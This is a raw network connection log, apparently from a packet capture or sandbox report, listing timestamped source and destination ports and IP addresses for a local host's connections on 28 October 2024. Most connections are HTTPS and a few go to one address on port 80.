Oct 28, 2024 18:43:19.600874901 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.600893974 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.600927114 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.600965977 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.600975990 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.601016998 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.601983070 CET	443	63428	142.250.184.238	192.168.2.5
Oct 28, 2024 18:43:19.602051973 CET	63428	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:19.602215052 CET	443	63431	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:19.602370024 CET	443	63431	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:19.602538109 CET	63431	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:19.603004932 CET	63428	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:19.603019953 CET	443	63428	142.250.184.238	192.168.2.5
Oct 28, 2024 18:43:19.608393908 CET	63431	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:19.608407021 CET	443	63431	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:19.608520985 CET	63431	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:19.608526945 CET	443	63431	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:19.612714052 CET	63433	443	192.168.2.5	4.175.87.197
Oct 28, 2024 18:43:19.612793922 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:19.612875938 CET	63433	443	192.168.2.5	4.175.87.197
Oct 28, 2024 18:43:19.614130974 CET	63433	443	192.168.2.5	4.175.87.197
Oct 28, 2024 18:43:19.614164114 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:19.628132105 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.628148079 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.628197908 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.628216982 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.628233910 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.628257990 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.662719011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:19.663065910 CET	63435	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:19.668519974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:19.669292927 CET	80	63435	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:19.669389963 CET	63435	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:19.669564962 CET	63435	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:19.669641018 CET	63435	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:19.675215960 CET	80	63435	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:19.675261974 CET	80	63435	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:19.751658916 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.751693010 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.751734972 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.751755953 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.751775980 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.751797915 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.874716997 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.874748945 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.874820948 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.874840975 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.874857903 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.875000000 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.997765064 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.997795105 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.997833014 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.997850895 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.997870922 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.997895956 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.121093035 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.121130943 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.121169090 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.121185064 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.121202946 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.121229887 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.166912079 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.166934967 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.166979074 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.166996956 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.167027950 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.167072058 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.246187925 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.246227980 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.246279001 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.246298075 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.246314049 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.246372938 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.368427992 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.368459940 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.368516922 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.368529081 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.368557930 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.368577957 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.501100063 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.501132011 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.501173019 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.501194000 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.501210928 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.501482010 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.537091970 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.537116051 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.537157059 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.537168026 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.537199974 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.537214994 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.615145922 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.615185976 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.615232944 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.615247011 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.615263939 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.615394115 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.660677910 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.660787106 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.660790920 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.660864115 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.661361933 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.661376953 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.661391020 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.661396980 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.662838936 CET	63436	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:20.662878036 CET	443	63436	142.250.184.238	192.168.2.5
Oct 28, 2024 18:43:20.662950039 CET	63436	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:20.663336039 CET	63436	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:20.663352966 CET	443	63436	142.250.184.238	192.168.2.5
Oct 28, 2024 18:43:20.709764957 CET	63438	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.709800005 CET	443	63438	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.710191011 CET	63438	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.710556984 CET	63438	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.710577965 CET	443	63438	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.715226889 CET	63439	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.715274096 CET	443	63439	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.715338945 CET	63439	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.715487003 CET	63439	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.715507030 CET	443	63439	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.717107058 CET	63440	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.717132092 CET	443	63440	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.717180014 CET	63440	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.719455957 CET	63441	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.719481945 CET	443	63441	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.719631910 CET	63441	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.720005035 CET	63440	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.720016956 CET	443	63440	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.720712900 CET	63442	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.720724106 CET	443	63442	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.720906019 CET	63442	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.721029997 CET	63441	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.721041918 CET	443	63441	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.721132994 CET	63442	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:20.721143007 CET	443	63442	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:20.766705036 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:20.767488956 CET	63433	443	192.168.2.5	4.175.87.197
Oct 28, 2024 18:43:20.768971920 CET	63433	443	192.168.2.5	4.175.87.197
Oct 28, 2024 18:43:20.768986940 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:20.769359112 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:20.816627979 CET	63433	443	192.168.2.5	4.175.87.197
Oct 28, 2024 18:43:21.067892075 CET	80	63435	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:21.067948103 CET	63435	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:21.273262024 CET	63435	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:21.278765917 CET	80	63435	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:21.354367971 CET	49719	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:21.356481075 CET	63436	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:21.453490973 CET	443	63439	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:21.454039097 CET	63439	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:21.454087973 CET	443	63439	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:21.454502106 CET	63439	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:21.454514027 CET	443	63439	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:21.466147900 CET	443	63442	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:21.466804981 CET	63442	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:21.466830015 CET	443	63442	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:21.467391014 CET	63442	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:21.467396021 CET	443	63442	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:21.508536100 CET	443	63438	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:21.509025097 CET	63438	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:21.509047985 CET	443	63438	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:21.509483099 CET	63438	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:21.509490013 CET	443	63438	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:21.550312042 CET	443	63441	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:21.551223993 CET	63441	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:21.551243067 CET	443	63441	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:21.551925898 CET	63441	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:21.551942110 CET	443	63441	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:21.552465916 CET	443	63440	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:21.552994013 CET	63440	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:21.553024054 CET	443	63440	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:21.553363085 CET	63440	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:21.553366899 CET	443	63440	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.090965033 CET	443	63439	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.091044903 CET	443	63439	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.091167927 CET	63439	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.091640949 CET	63439	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.091672897 CET	443	63439	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.091694117 CET	63439	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.091702938 CET	443	63439	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.091711998 CET	443	63438	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.091733932 CET	443	63438	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.091773987 CET	443	63438	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.091778040 CET	443	63442	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.091787100 CET	443	63441	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.091789007 CET	63438	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.091800928 CET	443	63442	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.091824055 CET	63438	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.091861010 CET	63442	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.091883898 CET	443	63441	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.091886044 CET	443	63442	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.091932058 CET	443	63442	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.091993093 CET	63441	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.092014074 CET	63438	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.092031956 CET	443	63438	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.092045069 CET	63438	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.092045069 CET	63442	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.092051983 CET	443	63438	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.092330933 CET	443	63440	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.092355013 CET	443	63440	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.092408895 CET	443	63440	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.092456102 CET	63440	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.092888117 CET	63442	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.092900038 CET	443	63442	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.092915058 CET	63442	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.092920065 CET	443	63442	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.093420029 CET	80	63435	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:22.093486071 CET	63435	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:22.093934059 CET	63441	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.093966007 CET	443	63441	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.094065905 CET	63441	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.094072104 CET	443	63441	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.095392942 CET	63440	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.095407009 CET	443	63440	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.095418930 CET	63440	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.095423937 CET	443	63440	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.098906040 CET	63444	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.098952055 CET	443	63444	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.099059105 CET	63444	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.100805044 CET	63445	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.100838900 CET	443	63445	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.100868940 CET	63446	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.100878954 CET	443	63446	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.100908041 CET	63445	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.100941896 CET	63446	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.101094961 CET	63446	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.101109982 CET	443	63446	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.101172924 CET	63444	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.101185083 CET	443	63444	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.101383924 CET	63445	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.101392984 CET	443	63445	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.102054119 CET	63447	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.102062941 CET	443	63447	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.102109909 CET	63447	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.102444887 CET	63447	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.102451086 CET	443	63447	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.102552891 CET	63448	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.102606058 CET	443	63448	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.102787971 CET	63448	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.103096962 CET	63448	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.103115082 CET	443	63448	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.116451025 CET	63433	443	192.168.2.5	4.175.87.197
Oct 28, 2024 18:43:22.159342051 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:22.490761995 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:22.490819931 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:22.490839958 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:22.490879059 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:22.490895033 CET	63433	443	192.168.2.5	4.175.87.197
Oct 28, 2024 18:43:22.490942001 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:22.490967035 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:22.491020918 CET	63433	443	192.168.2.5	4.175.87.197
Oct 28, 2024 18:43:22.491020918 CET	63433	443	192.168.2.5	4.175.87.197
Oct 28, 2024 18:43:22.491378069 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:22.491467953 CET	63433	443	192.168.2.5	4.175.87.197
Oct 28, 2024 18:43:22.491485119 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:22.534622908 CET	63433	443	192.168.2.5	4.175.87.197
Oct 28, 2024 18:43:22.614514112 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:22.614634037 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:22.614691019 CET	63433	443	192.168.2.5	4.175.87.197
Oct 28, 2024 18:43:22.826756001 CET	443	63444	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.828139067 CET	63444	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.828155994 CET	443	63444	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.828687906 CET	63444	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.828696012 CET	443	63444	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.830178022 CET	443	63446	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.835473061 CET	63446	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.835490942 CET	443	63446	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.836096048 CET	63446	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.836102962 CET	443	63446	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.841001987 CET	443	63447	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.842057943 CET	443	63448	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.842796087 CET	63448	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.842848063 CET	443	63448	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.843349934 CET	63448	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.843368053 CET	443	63448	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.843950033 CET	63447	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.843966961 CET	443	63447	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:22.844321012 CET	63447	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:22.844326973 CET	443	63447	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.352910995 CET	443	63446	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.352938890 CET	443	63444	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.352957010 CET	443	63448	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.353043079 CET	443	63448	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.353097916 CET	63448	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.353178024 CET	443	63444	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.353193998 CET	443	63447	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.353209019 CET	443	63446	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.353235960 CET	63444	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.353301048 CET	63446	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.353338957 CET	443	63447	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.353384018 CET	63447	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.354156971 CET	443	63445	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.383928061 CET	63445	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.383944035 CET	443	63445	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.384475946 CET	63446	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.384494066 CET	443	63446	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.384509087 CET	63446	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.384516001 CET	63445	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.384516954 CET	443	63446	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.384521008 CET	443	63445	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.384665012 CET	63448	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.384701014 CET	443	63448	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.384872913 CET	63447	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.384892941 CET	443	63447	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.384905100 CET	63447	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.384911060 CET	443	63447	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.384949923 CET	63444	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.384955883 CET	443	63444	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.384987116 CET	63444	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.384991884 CET	443	63444	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.409043074 CET	63451	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.409059048 CET	443	63451	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.409213066 CET	63451	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.424837112 CET	63452	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.424858093 CET	443	63452	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.425065041 CET	63452	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.432548046 CET	63451	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.432562113 CET	443	63451	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.434869051 CET	63452	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.434883118 CET	443	63452	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.446178913 CET	63453	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.446273088 CET	443	63453	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.446403980 CET	63453	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.446611881 CET	63453	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.446647882 CET	443	63453	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.448060989 CET	63454	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.448071957 CET	443	63454	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:23.448152065 CET	63454	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.484061003 CET	63454	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:23.484075069 CET	443	63454	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.007025957 CET	443	63445	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.007097006 CET	443	63445	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.007141113 CET	63445	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.255909920 CET	63445	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.255928993 CET	443	63445	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.256035089 CET	63445	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.256042957 CET	443	63445	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.266093969 CET	63433	443	192.168.2.5	4.175.87.197
Oct 28, 2024 18:43:24.266105890 CET	443	63433	4.175.87.197	192.168.2.5
Oct 28, 2024 18:43:24.355107069 CET	443	63453	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.358346939 CET	443	63451	13.107.246.51	192.168.2.5
